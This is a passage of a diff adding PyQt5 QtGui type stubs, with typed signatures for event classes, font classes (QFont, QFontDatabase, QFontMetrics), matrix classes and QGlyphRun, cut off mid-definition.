@typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDragLeaveEvent') -> None: ... + + +class QHelpEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, type: QtCore.QEvent.Type, pos: QtCore.QPoint, globalPos: QtCore.QPoint) -> None: ... + @typing.overload + def __init__(self, a0: 'QHelpEvent') -> None: ... + + def globalPos(self) -> QtCore.QPoint: ... + def pos(self) -> QtCore.QPoint: ... + def globalY(self) -> int: ... + def globalX(self) -> int: ... + def y(self) -> int: ... + def x(self) -> int: ... + + +class QStatusTipEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, tip: str) -> None: ... + @typing.overload + def __init__(self, a0: 'QStatusTipEvent') -> None: ... + + def tip(self) -> str: ... + + +class QWhatsThisClickedEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, href: str) -> None: ... + @typing.overload + def __init__(self, a0: 'QWhatsThisClickedEvent') -> None: ... + + def href(self) -> str: ... + + +class QActionEvent(QtCore.QEvent): + + from PyQt5.QtWidgets import QAction + + @typing.overload + def __init__(self, type: int, action: QAction, before: typing.Optional[QAction] = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QActionEvent') -> None: ... + + def before(self) -> QAction: ... + def action(self) -> QAction: ... + + +class QFileOpenEvent(QtCore.QEvent): + + def openFile(self, file: QtCore.QFile, flags: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag]) -> bool: ... + def url(self) -> QtCore.QUrl: ... + def file(self) -> str: ... + + +class QShortcutEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, key: typing.Union['QKeySequence', 'QKeySequence.StandardKey', str, int], id: int, ambiguous: bool = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QShortcutEvent') -> None: ... + + def shortcutId(self) -> int: ... + def key(self) -> 'QKeySequence': ... + def isAmbiguous(self) -> bool: ... + + +class QWindowStateChangeEvent(QtCore.QEvent): + + def oldState(self) -> QtCore.Qt.WindowStates: ... + + +class QTouchEvent(QInputEvent): + + class TouchPoint(sip.simplewrapper): + + class InfoFlag(int): + Pen = ... # type: QTouchEvent.TouchPoint.InfoFlag + Token = ... # type: QTouchEvent.TouchPoint.InfoFlag + + class InfoFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTouchEvent.TouchPoint.InfoFlags', 'QTouchEvent.TouchPoint.InfoFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTouchEvent.TouchPoint.InfoFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTouchEvent.TouchPoint.InfoFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def ellipseDiameters(self) -> QtCore.QSizeF: ... + def rotation(self) -> float: ... + def uniqueId(self) -> 'QPointingDeviceUniqueId': ... + def rawScreenPositions(self) -> typing.List[QtCore.QPointF]: ... + def flags(self) -> 'QTouchEvent.TouchPoint.InfoFlags': ... + def velocity(self) -> 'QVector2D': ... + def pressure(self) -> float: ... + def screenRect(self) -> QtCore.QRectF: ... + def sceneRect(self) -> QtCore.QRectF: ... + def rect(self) -> QtCore.QRectF: ... + def lastNormalizedPos(self) -> QtCore.QPointF: ... + def startNormalizedPos(self) -> QtCore.QPointF: ... + def normalizedPos(self) -> QtCore.QPointF: ... + def lastScreenPos(self) -> QtCore.QPointF: ... + def startScreenPos(self) -> QtCore.QPointF: ... + def screenPos(self) -> QtCore.QPointF: ... + def lastScenePos(self) -> QtCore.QPointF: ... + def startScenePos(self) -> QtCore.QPointF: ... + def scenePos(self) -> QtCore.QPointF: ... + def lastPos(self) -> QtCore.QPointF: ... + def startPos(self) -> QtCore.QPointF: ... + def pos(self) -> QtCore.QPointF: ... + def state(self) -> QtCore.Qt.TouchPointState: ... + def id(self) -> int: ... + + @typing.overload + def __init__(self, eventType: QtCore.QEvent.Type, device: typing.Optional['QTouchDevice'] = ..., modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier] = ..., touchPointStates: typing.Union[QtCore.Qt.TouchPointStates, QtCore.Qt.TouchPointState] = ..., touchPoints: typing.Iterable['QTouchEvent.TouchPoint'] = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QTouchEvent') -> None: ... + + def setDevice(self, adevice: 'QTouchDevice') -> None: ... + def device(self) -> 'QTouchDevice': ... + def window(self) -> 'QWindow': ... + def touchPoints(self) -> typing.List['QTouchEvent.TouchPoint']: ... + def touchPointStates(self) -> QtCore.Qt.TouchPointStates: ... + def target(self) -> QtCore.QObject: ... + + +class QExposeEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, rgn: 'QRegion') -> None: ... + @typing.overload + def __init__(self, a0: 'QExposeEvent') -> None: ... + + def region(self) -> 'QRegion': ... + + +class QScrollPrepareEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, startPos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def __init__(self, a0: 'QScrollPrepareEvent') -> None: ... + + def setContentPos(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def setContentPosRange(self, rect: QtCore.QRectF) -> None: ... + def setViewportSize(self, size: QtCore.QSizeF) -> None: ... + def contentPos(self) -> QtCore.QPointF: ... + def contentPosRange(self) -> QtCore.QRectF: ... + def viewportSize(self) -> QtCore.QSizeF: ... + def startPos(self) -> QtCore.QPointF: ... + + +class QScrollEvent(QtCore.QEvent): + + class ScrollState(int): + ScrollStarted = ... # type: QScrollEvent.ScrollState + ScrollUpdated = ... # type: QScrollEvent.ScrollState + ScrollFinished = ... # type: QScrollEvent.ScrollState + + @typing.overload + def __init__(self, contentPos: typing.Union[QtCore.QPointF, QtCore.QPoint], overshoot: typing.Union[QtCore.QPointF, QtCore.QPoint], scrollState: 'QScrollEvent.ScrollState') -> None: ... + @typing.overload + def __init__(self, a0: 'QScrollEvent') -> None: ... + + def scrollState(self) -> 'QScrollEvent.ScrollState': ... + def overshootDistance(self) -> QtCore.QPointF: ... + def contentPos(self) -> QtCore.QPointF: ... + + +class QEnterEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, localPos: typing.Union[QtCore.QPointF, QtCore.QPoint], windowPos: typing.Union[QtCore.QPointF, QtCore.QPoint], screenPos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def __init__(self, a0: 'QEnterEvent') -> None: ... + + def screenPos(self) -> QtCore.QPointF: ... + def windowPos(self) -> QtCore.QPointF: ... + def localPos(self) -> QtCore.QPointF: ... + def globalY(self) -> int: ... + def globalX(self) -> int: ... + def y(self) -> int: ... + def x(self) -> int: ... + def globalPos(self) -> QtCore.QPoint: ... + def pos(self) -> QtCore.QPoint: ... + + +class QNativeGestureEvent(QInputEvent): + + @typing.overload + def __init__(self, type: QtCore.Qt.NativeGestureType, localPos: typing.Union[QtCore.QPointF, QtCore.QPoint], windowPos: typing.Union[QtCore.QPointF, QtCore.QPoint], screenPos: typing.Union[QtCore.QPointF, QtCore.QPoint], value: float, sequenceId: int, intArgument: int) -> None: ... + @typing.overload + def __init__(self, type: QtCore.Qt.NativeGestureType, dev: 'QTouchDevice', localPos: typing.Union[QtCore.QPointF, QtCore.QPoint], windowPos: typing.Union[QtCore.QPointF, QtCore.QPoint], screenPos: typing.Union[QtCore.QPointF, QtCore.QPoint], value: float, sequenceId: int, intArgument: int) -> None: ... + @typing.overload + def __init__(self, a0: 'QNativeGestureEvent') -> None: ... + + def device(self) -> 'QTouchDevice': ... + def screenPos(self) -> QtCore.QPointF: ... + def windowPos(self) -> QtCore.QPointF: ... + def localPos(self) -> QtCore.QPointF: ... + def globalPos(self) -> QtCore.QPoint: ... + def pos(self) -> QtCore.QPoint: ... + def value(self) -> float: ... + def gestureType(self) -> QtCore.Qt.NativeGestureType: ... + + +class QPlatformSurfaceEvent(QtCore.QEvent): + + class SurfaceEventType(int): + SurfaceCreated = ... # type: QPlatformSurfaceEvent.SurfaceEventType + SurfaceAboutToBeDestroyed = ... # type: QPlatformSurfaceEvent.SurfaceEventType + + @typing.overload + def __init__(self, surfaceEventType: 'QPlatformSurfaceEvent.SurfaceEventType') -> None: ... + @typing.overload + def __init__(self, a0: 'QPlatformSurfaceEvent') -> None: ... + + def surfaceEventType(self) -> 'QPlatformSurfaceEvent.SurfaceEventType': ... + + +class QPointingDeviceUniqueId(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QPointingDeviceUniqueId') -> None: ... + + def __hash__(self) -> int: ... + def numericId(self) -> int: ... + def isValid(self) -> bool: ... + @staticmethod + def fromNumericId(id: int) -> 'QPointingDeviceUniqueId': ... + + +class QFont(sip.simplewrapper): + + class HintingPreference(int): + PreferDefaultHinting = ... # type: QFont.HintingPreference + PreferNoHinting = ... # type: QFont.HintingPreference + PreferVerticalHinting = ... # type: QFont.HintingPreference + PreferFullHinting = ... # type: QFont.HintingPreference + + class SpacingType(int): + PercentageSpacing = ... # type: QFont.SpacingType + AbsoluteSpacing = ... # type: QFont.SpacingType + + class Capitalization(int): + MixedCase = ... # type: QFont.Capitalization + AllUppercase = ... # type: QFont.Capitalization + AllLowercase = ... # type: QFont.Capitalization + SmallCaps = ... # type: QFont.Capitalization + Capitalize = ... # type: QFont.Capitalization + + class Stretch(int): + AnyStretch = ... # type: QFont.Stretch + UltraCondensed = ... # type: QFont.Stretch + ExtraCondensed = ... # type: QFont.Stretch + Condensed = ... # type: QFont.Stretch + SemiCondensed = ... # type: QFont.Stretch + Unstretched = ... # type: QFont.Stretch + SemiExpanded = ... # type: QFont.Stretch + Expanded = ... # type: QFont.Stretch + ExtraExpanded = ... # type: QFont.Stretch + UltraExpanded = ... # type: QFont.Stretch + + class Style(int): + StyleNormal = ... # type: QFont.Style + StyleItalic = ... # type: QFont.Style + StyleOblique = ... # type: QFont.Style + + class Weight(int): + Thin = ... # type: QFont.Weight + ExtraLight = ... # type: QFont.Weight + Light = ... # type: QFont.Weight + Normal = ... # type: QFont.Weight + Medium = ... # type: QFont.Weight + DemiBold = ... # type: QFont.Weight + Bold = ... # type: QFont.Weight + ExtraBold = ... # type: QFont.Weight + Black = ... # type: QFont.Weight + + class StyleStrategy(int): + PreferDefault = ... # type: QFont.StyleStrategy + PreferBitmap = ... # type: QFont.StyleStrategy + PreferDevice = ... # type: QFont.StyleStrategy + PreferOutline = ... # type: QFont.StyleStrategy + ForceOutline = ... # type: QFont.StyleStrategy + PreferMatch = ... # type: QFont.StyleStrategy + PreferQuality = ... # type: QFont.StyleStrategy + PreferAntialias = ... # type: QFont.StyleStrategy + NoAntialias = ... # type: QFont.StyleStrategy + NoSubpixelAntialias = ... # type: QFont.StyleStrategy + OpenGLCompatible = ... # type: QFont.StyleStrategy + NoFontMerging = ... # type: QFont.StyleStrategy + ForceIntegerMetrics = ... # type: QFont.StyleStrategy + PreferNoShaping = ... # type: QFont.StyleStrategy + + class StyleHint(int): + Helvetica = ... # type: QFont.StyleHint + SansSerif = ... # type: QFont.StyleHint + Times = ... # type: QFont.StyleHint + Serif = ... # type: QFont.StyleHint + Courier = ... # type: QFont.StyleHint + TypeWriter = ... # type: QFont.StyleHint + OldEnglish = ... # type: QFont.StyleHint + Decorative = ... # type: QFont.StyleHint + System = ... # type: QFont.StyleHint + AnyStyle = ... # type: QFont.StyleHint + Cursive = ... # type: QFont.StyleHint + Monospace = ... # type: QFont.StyleHint + Fantasy = ... # type: QFont.StyleHint + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, family: str, pointSize: int = ..., weight: int = ..., italic: bool = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QFont', pd: QPaintDevice) -> None: ... + @typing.overload + def __init__(self, a0: 'QFont') -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def setFamilies(self, a0: typing.Iterable[str]) -> None: ... + def families(self) -> typing.List[str]: ... + def __hash__(self) -> int: ... + def swap(self, other: 'QFont') -> None: ... + def hintingPreference(self) -> 'QFont.HintingPreference': ... + def setHintingPreference(self, hintingPreference: 'QFont.HintingPreference') -> None: ... + def setStyleName(self, styleName: str) -> None: ... + def styleName(self) -> str: ... + def capitalization(self) -> 'QFont.Capitalization': ... + def setCapitalization(self, a0: 'QFont.Capitalization') -> None: ... + def setWordSpacing(self, spacing: float) -> None: ... + def wordSpacing(self) -> float: ... + def setLetterSpacing(self, type: 'QFont.SpacingType', spacing: float) -> None: ... + def letterSpacingType(self) -> 'QFont.SpacingType': ... + def letterSpacing(self) -> float: ... + def setItalic(self, b: bool) -> None: ... + def italic(self) -> bool: ... + def setBold(self, enable: bool) -> None: ... + def bold(self) -> bool: ... + def resolve(self, a0: 'QFont') -> 'QFont': ... + def lastResortFont(self) -> str: ... + def lastResortFamily(self) -> str: ... + def defaultFamily(self) -> str: ... + @staticmethod + def cacheStatistics() -> None: ... + @staticmethod + def cleanup() -> None: ... + @staticmethod + def initialize() -> None: ... + @staticmethod + def removeSubstitutions(a0: str) -> None: ... + @staticmethod + def insertSubstitutions(a0: str, a1: typing.Iterable[str]) -> None: ... + @staticmethod + def insertSubstitution(a0: str, a1: str) -> None: ... + @staticmethod + def substitutions() -> typing.List[str]: ... + @staticmethod + def substitutes(a0: str) -> typing.List[str]: ... + @staticmethod + def substitute(a0: str) -> str: ... + def fromString(self, a0: str) -> bool: ... + def toString(self) -> str: ... + def key(self) -> str: ... + def rawName(self) -> str: ... + def setRawName(self, a0: str) -> None: ... + def isCopyOf(self, a0: 'QFont') -> bool: ... + def exactMatch(self) -> bool: ... + def setRawMode(self, a0: bool) -> None: ... + def rawMode(self) -> bool: ... + def setStretch(self, a0: int) -> None: ... + def stretch(self) -> int: ... + def setStyleStrategy(self, s: 'QFont.StyleStrategy') -> None: ... + def setStyleHint(self, hint: 'QFont.StyleHint', strategy: 'QFont.StyleStrategy' = ...) -> None: ... + def styleStrategy(self) -> 'QFont.StyleStrategy': ... + def styleHint(self) -> 'QFont.StyleHint': ... + def setKerning(self, a0: bool) -> None: ... + def kerning(self) -> bool: ... + def setFixedPitch(self, a0: bool) -> None: ... + def fixedPitch(self) -> bool: ... + def setStrikeOut(self, a0: bool) -> None: ... + def strikeOut(self) -> bool: ... + def setOverline(self, a0: bool) -> None: ... + def overline(self) -> bool: ... + def setUnderline(self, a0: bool) -> None: ... + def underline(self) -> bool: ... + def style(self) -> 'QFont.Style': ... + def setStyle(self, style: 'QFont.Style') -> None: ... + def setWeight(self, a0: int) -> None: ... + def weight(self) -> int: ... + def setPixelSize(self, a0: int) -> None: ... + def pixelSize(self) -> int: ... + def setPointSizeF(self, a0: float) -> None: ... + def pointSizeF(self) -> float: ... + def setPointSize(self, a0: int) -> None: ... + def pointSize(self) -> int: ... + def setFamily(self, a0: str) -> None: ... + def family(self) -> str: ... + + +class QFontDatabase(sip.simplewrapper): + + class SystemFont(int): + GeneralFont = ... # type: QFontDatabase.SystemFont + FixedFont = ... # type: QFontDatabase.SystemFont + TitleFont = ... # type: QFontDatabase.SystemFont + SmallestReadableFont = ... # type: QFontDatabase.SystemFont + + class WritingSystem(int): + Any = ... # type: QFontDatabase.WritingSystem + Latin = ... # type: QFontDatabase.WritingSystem + Greek = ... # type: QFontDatabase.WritingSystem + Cyrillic = ... # type: QFontDatabase.WritingSystem + Armenian = ... # type: QFontDatabase.WritingSystem + Hebrew = ... # type: QFontDatabase.WritingSystem + Arabic = ... # type: QFontDatabase.WritingSystem + Syriac = ... # type: QFontDatabase.WritingSystem + Thaana = ... # type: QFontDatabase.WritingSystem + Devanagari = ... # type: QFontDatabase.WritingSystem + Bengali = ... # type: QFontDatabase.WritingSystem + Gurmukhi = ... # type: QFontDatabase.WritingSystem + Gujarati = ... # type: QFontDatabase.WritingSystem + Oriya = ... # type: QFontDatabase.WritingSystem + Tamil = ... # type: QFontDatabase.WritingSystem + Telugu = ... # type: QFontDatabase.WritingSystem + Kannada = ... # type: QFontDatabase.WritingSystem + Malayalam = ... # type: QFontDatabase.WritingSystem + Sinhala = ... # type: QFontDatabase.WritingSystem + Thai = ... # type: QFontDatabase.WritingSystem + Lao = ... # type: QFontDatabase.WritingSystem + Tibetan = ... # type: QFontDatabase.WritingSystem + Myanmar = ... # type: QFontDatabase.WritingSystem + Georgian = ... # type: QFontDatabase.WritingSystem + Khmer = ... # type: QFontDatabase.WritingSystem + SimplifiedChinese = ... # type: QFontDatabase.WritingSystem + TraditionalChinese = ... # type: QFontDatabase.WritingSystem + Japanese = ... # type: QFontDatabase.WritingSystem + Korean = ... # type: QFontDatabase.WritingSystem + Vietnamese = ... # type: QFontDatabase.WritingSystem + Other = ... # type: QFontDatabase.WritingSystem + Symbol = ... # type: QFontDatabase.WritingSystem + Ogham = ... # type: QFontDatabase.WritingSystem + Runic = ... # type: QFontDatabase.WritingSystem + Nko = ... # type: QFontDatabase.WritingSystem + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QFontDatabase') -> None: ... + + def isPrivateFamily(self, family: str) -> bool: ... + @staticmethod + def systemFont(type: 'QFontDatabase.SystemFont') -> QFont: ... + @staticmethod + def supportsThreadedFontRendering() -> bool: ... + @staticmethod + def removeAllApplicationFonts() -> bool: ... + @staticmethod + def removeApplicationFont(id: int) -> bool: ... + @staticmethod + def applicationFontFamilies(id: int) -> typing.List[str]: ... + @staticmethod + def addApplicationFontFromData(fontData: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> int: ... + @staticmethod + def addApplicationFont(fileName: str) -> int: ... + @staticmethod + def writingSystemSample(writingSystem: 'QFontDatabase.WritingSystem') -> str: ... + @staticmethod + def writingSystemName(writingSystem: 'QFontDatabase.WritingSystem') -> str: ... + def weight(self, family: str, style: str) -> int: ... + def bold(self, family: str, style: str) -> bool: ... + def italic(self, family: str, style: str) -> bool: ... + def isFixedPitch(self, family: str, style: str = ...) -> bool: ... + def isScalable(self, family: str, style: str = ...) -> bool: ... + def isSmoothlyScalable(self, family: str, style: str = ...) -> bool: ... + def isBitmapScalable(self, family: str, style: str = ...) -> bool: ... + def font(self, family: str, style: str, pointSize: int) -> QFont: ... + @typing.overload + def styleString(self, font: QFont) -> str: ... + @typing.overload + def styleString(self, fontInfo: 'QFontInfo') -> str: ... + def smoothSizes(self, family: str, style: str) -> typing.List[int]: ... + def pointSizes(self, family: str, style: str = ...) -> typing.List[int]: ... + def styles(self, family: str) -> typing.List[str]: ... + def families(self, writingSystem: 'QFontDatabase.WritingSystem' = ...) -> typing.List[str]: ... + @typing.overload + def writingSystems(self) -> typing.List['QFontDatabase.WritingSystem']: ... + @typing.overload + def writingSystems(self, family: str) -> typing.List['QFontDatabase.WritingSystem']: ... + @staticmethod + def standardSizes() -> typing.List[int]: ... + + +class QFontInfo(sip.simplewrapper): + + @typing.overload + def __init__(self, a0: QFont) -> None: ... + @typing.overload + def __init__(self, a0: 'QFontInfo') -> None: ... + + def swap(self, other: 'QFontInfo') -> None: ... + def styleName(self) -> str: ... + def exactMatch(self) -> bool: ... + def rawMode(self) -> bool: ... + def styleHint(self) -> QFont.StyleHint: ... + def fixedPitch(self) -> bool: ... + def bold(self) -> bool: ... + def weight(self) -> int: ... + def style(self) -> QFont.Style: ... + def italic(self) -> bool: ... + def pointSizeF(self) -> float: ... + def pointSize(self) -> int: ... + def pixelSize(self) -> int: ... + def family(self) -> str: ... + + +class QFontMetrics(sip.simplewrapper): + + @typing.overload + def __init__(self, a0: QFont) -> None: ... + @typing.overload + def __init__(self, a0: QFont, pd: QPaintDevice) -> None: ... + @typing.overload + def __init__(self, a0: 'QFontMetrics') -> None: ... + + def fontDpi(self) -> float: ... + def horizontalAdvance(self, a0: str, length: int = ...) -> int: ... + def capHeight(self) -> int: ... + def swap(self, other: 'QFontMetrics') -> None: ... + def inFontUcs4(self, character: int) -> bool: ... + def tightBoundingRect(self, text: str) -> QtCore.QRect: ... + def elidedText(self, text: str, mode: QtCore.Qt.TextElideMode, width: int, flags: int = ...) -> str: ... + def averageCharWidth(self) -> int: ... + def lineWidth(self) -> int: ... + def strikeOutPos(self) -> int: ... + def overlinePos(self) -> int: ... + def underlinePos(self) -> int: ... + def size(self, flags: int, text: str, tabStops: int = ..., tabArray: typing.Optional[typing.Optional[typing.List[int]]] = ...) -> QtCore.QSize: ... + @typing.overload + def boundingRect(self, text: str) -> QtCore.QRect: ... + @typing.overload + def boundingRect(self, rect: QtCore.QRect, flags: int, text: str, tabStops: int = ..., tabArray: typing.Optional[typing.Optional[typing.List[int]]] = ...) -> QtCore.QRect: ... + @typing.overload + def boundingRect(self, x: int, y: int, width: int, height: int, flags: int, text: str, tabStops: int = ..., tabArray: typing.Optional[typing.Optional[typing.List[int]]] = ...) -> QtCore.QRect: ... + def boundingRectChar(self, a0: str) -> QtCore.QRect: ... + def width(self, text: str, length: int = ...) -> int: ... + def widthChar(self, a0: str) -> int: ... + def rightBearing(self, a0: str) -> int: ... + def leftBearing(self, a0: str) -> int: ... + def inFont(self, a0: str) -> bool: ... + def xHeight(self) -> int: ... + def maxWidth(self) -> int: ... + def minRightBearing(self) -> int: ... + def minLeftBearing(self) -> int: ... + def lineSpacing(self) -> int: ... + def leading(self) -> int: ... + def height(self) -> int: ... + def descent(self) -> int: ... + def ascent(self) -> int: ... + + +class QFontMetricsF(sip.simplewrapper): + + @typing.overload + def __init__(self, a0: QFont) -> None: ... + @typing.overload + def __init__(self, a0: QFont, pd: QPaintDevice) -> None: ... + @typing.overload + def __init__(self, a0: QFontMetrics) -> None: ... + @typing.overload + def __init__(self, a0: 'QFontMetricsF') -> None: ... + + def fontDpi(self) -> float: ... + def horizontalAdvance(self, string: str, length: int = ...) -> float: ... + def capHeight(self) -> float: ... + def swap(self, other: 'QFontMetricsF') -> None: ... + def inFontUcs4(self, character: int) -> bool: ... + def tightBoundingRect(self, text: str) -> QtCore.QRectF: ... + def elidedText(self, text: str, mode: QtCore.Qt.TextElideMode, width: float, flags: int = ...) -> str: ... + def averageCharWidth(self) -> float: ... + def lineWidth(self) -> float: ... + def strikeOutPos(self) -> float: ... + def overlinePos(self) -> float: ... + def underlinePos(self) -> float: ... + def size(self, flags: int, text: str, tabStops: int = ..., tabArray: typing.Optional[typing.Optional[typing.List[int]]] = ...) -> QtCore.QSizeF: ... + @typing.overload + def boundingRect(self, string: str) -> QtCore.QRectF: ... + @typing.overload + def boundingRect(self, rect: QtCore.QRectF, flags: int, text: str, tabStops: int = ..., tabArray: typing.Optional[typing.Optional[typing.List[int]]] = ...) -> QtCore.QRectF: ... + def boundingRectChar(self, a0: str) -> QtCore.QRectF: ... + def width(self, string: str) -> float: ... + def widthChar(self, a0: str) -> float: ... + def rightBearing(self, a0: str) -> float: ... + def leftBearing(self, a0: str) -> float: ... + def inFont(self, a0: str) -> bool: ... + def xHeight(self) -> float: ... + def maxWidth(self) -> float: ... + def minRightBearing(self) -> float: ... + def minLeftBearing(self) -> float: ... + def lineSpacing(self) -> float: ... + def leading(self) -> float: ... + def height(self) -> float: ... + def descent(self) -> float: ... + def ascent(self) -> float: ... + + +class QMatrix4x3(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QMatrix4x3') -> None: ... + @typing.overload + def __init__(self, values: typing.Sequence[float]) -> None: ... + + def transposed(self) -> 'QMatrix3x4': ... + def fill(self, value: float) -> None: ... + def setToIdentity(self) -> None: ... + def isIdentity(self) -> bool: ... + def __setitem__(self, a0: typing.Any, a1: float) -> None: ... + def __getitem__(self, a0: typing.Any) -> typing.Any: ... + def copyDataTo(self) -> typing.List[float]: ... + def data(self) -> typing.List[float]: ... + def __repr__(self) -> str: ... + + +class QMatrix4x2(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QMatrix4x2') -> None: ... + @typing.overload + def __init__(self, values: typing.Sequence[float]) -> None: ... + + def transposed(self) -> 'QMatrix2x4': ... + def fill(self, value: float) -> None: ... + def setToIdentity(self) -> None: ... + def isIdentity(self) -> bool: ... + def __setitem__(self, a0: typing.Any, a1: float) -> None: ... + def __getitem__(self, a0: typing.Any) -> typing.Any: ... + def copyDataTo(self) -> typing.List[float]: ... + def data(self) -> typing.List[float]: ... + def __repr__(self) -> str: ... + + +class QMatrix3x4(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QMatrix3x4') -> None: ... + @typing.overload + def __init__(self, values: typing.Sequence[float]) -> None: ... + + def transposed(self) -> QMatrix4x3: ... + def fill(self, value: float) -> None: ... + def setToIdentity(self) -> None: ... + def isIdentity(self) -> bool: ... + def __setitem__(self, a0: typing.Any, a1: float) -> None: ... + def __getitem__(self, a0: typing.Any) -> typing.Any: ... + def copyDataTo(self) -> typing.List[float]: ... + def data(self) -> typing.List[float]: ... + def __repr__(self) -> str: ... + + +class QMatrix3x3(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QMatrix3x3') -> None: ... + @typing.overload + def __init__(self, values: typing.Sequence[float]) -> None: ... + + def transposed(self) -> 'QMatrix3x3': ... + def fill(self, value: float) -> None: ... + def setToIdentity(self) -> None: ... + def isIdentity(self) -> bool: ... + def __setitem__(self, a0: typing.Any, a1: float) -> None: ... + def __getitem__(self, a0: typing.Any) -> typing.Any: ... + def copyDataTo(self) -> typing.List[float]: ... + def data(self) -> typing.List[float]: ... + def __repr__(self) -> str: ... + + +class QMatrix3x2(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QMatrix3x2') -> None: ... + @typing.overload + def __init__(self, values: typing.Sequence[float]) -> None: ... + + def transposed(self) -> 'QMatrix2x3': ... + def fill(self, value: float) -> None: ... + def setToIdentity(self) -> None: ... + def isIdentity(self) -> bool: ... + def __setitem__(self, a0: typing.Any, a1: float) -> None: ... + def __getitem__(self, a0: typing.Any) -> typing.Any: ... + def copyDataTo(self) -> typing.List[float]: ... + def data(self) -> typing.List[float]: ... + def __repr__(self) -> str: ... + + +class QMatrix2x4(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QMatrix2x4') -> None: ... + @typing.overload + def __init__(self, values: typing.Sequence[float]) -> None: ... + + def transposed(self) -> QMatrix4x2: ... + def fill(self, value: float) -> None: ... + def setToIdentity(self) -> None: ... + def isIdentity(self) -> bool: ... + def __setitem__(self, a0: typing.Any, a1: float) -> None: ... + def __getitem__(self, a0: typing.Any) -> typing.Any: ... + def copyDataTo(self) -> typing.List[float]: ... + def data(self) -> typing.List[float]: ... + def __repr__(self) -> str: ... + + +class QMatrix2x3(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QMatrix2x3') -> None: ... + @typing.overload + def __init__(self, values: typing.Sequence[float]) -> None: ... + + def transposed(self) -> QMatrix3x2: ... + def fill(self, value: float) -> None: ... + def setToIdentity(self) -> None: ... + def isIdentity(self) -> bool: ... + def __setitem__(self, a0: typing.Any, a1: float) -> None: ... + def __getitem__(self, a0: typing.Any) -> typing.Any: ... + def copyDataTo(self) -> typing.List[float]: ... + def data(self) -> typing.List[float]: ... + def __repr__(self) -> str: ... + + +class QMatrix2x2(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QMatrix2x2') -> None: ... + @typing.overload + def __init__(self, values: typing.Sequence[float]) -> None: ... + + def transposed(self) -> 'QMatrix2x2': ... + def fill(self, value: float) -> None: ... + def setToIdentity(self) -> None: ... + def isIdentity(self) -> bool: ... + def __setitem__(self, a0: typing.Any, a1: float) -> None: ... + def __getitem__(self, a0: typing.Any) -> typing.Any: ... + def copyDataTo(self) -> typing.List[float]: ... + def data(self) -> typing.List[float]: ... + def __repr__(self) -> str: ... + + +class QGlyphRun(sip.simplewrapper): + + class GlyphRunFlag(int): + Overline = ... # type: QGlyphRun.GlyphRunFlag + Underline = ... # type: QGlyphRun.GlyphRunFlag + StrikeOut = ... # type: QGlyphRun.GlyphRunFlag + RightToLeft = ... # type: QGlyphRun.GlyphRunFlag + SplitLigature = ... # type: QGlyphRun.GlyphRunFlag + + class GlyphRunFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGlyphRun.GlyphRunFlags', 'QGlyphRun.GlyphRunFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGlyphRun.GlyphRunFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGlyphRun.GlyphRunFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QGlyphRun') -> None: ... + + def swap(self, other: 'QGlyphRun') -> None: ... + def isEmpty(self) -> bool: ... + def boundingRect(self) -> QtCore.QRectF: ... + def setBoundingRect(self, boundingRect: QtCore.QRectF) -> None: ... + def flags(self) -> 'QGlyphRun.GlyphRunFlags': ... + def setFlags(self, flags: typing.Union['QGlyphRun.GlyphRunFlags', 'QGlyphRun.GlyphRunFlag']) -> None: ... + def setFlag(self, flag: 'QGlyphRun.GlyphRunFlag', enabled: bool = ...) -> None: ... + def isRightToLeft(self) -> bool: ... + def setRightToLeft(self, on: bool) -> None: ... + def strikeOut(self) -> bool: ... + def setStrikeOut(self, strikeOut: bool) -> None: ... + def underline(self) -> bool: ... + def setUnderline(self, underline: bool) -> None: ... + def overline(self) -> bool: ... + def setOverline(self, overline: bool) -> None: ... + def clear(self) -> None: ... + def 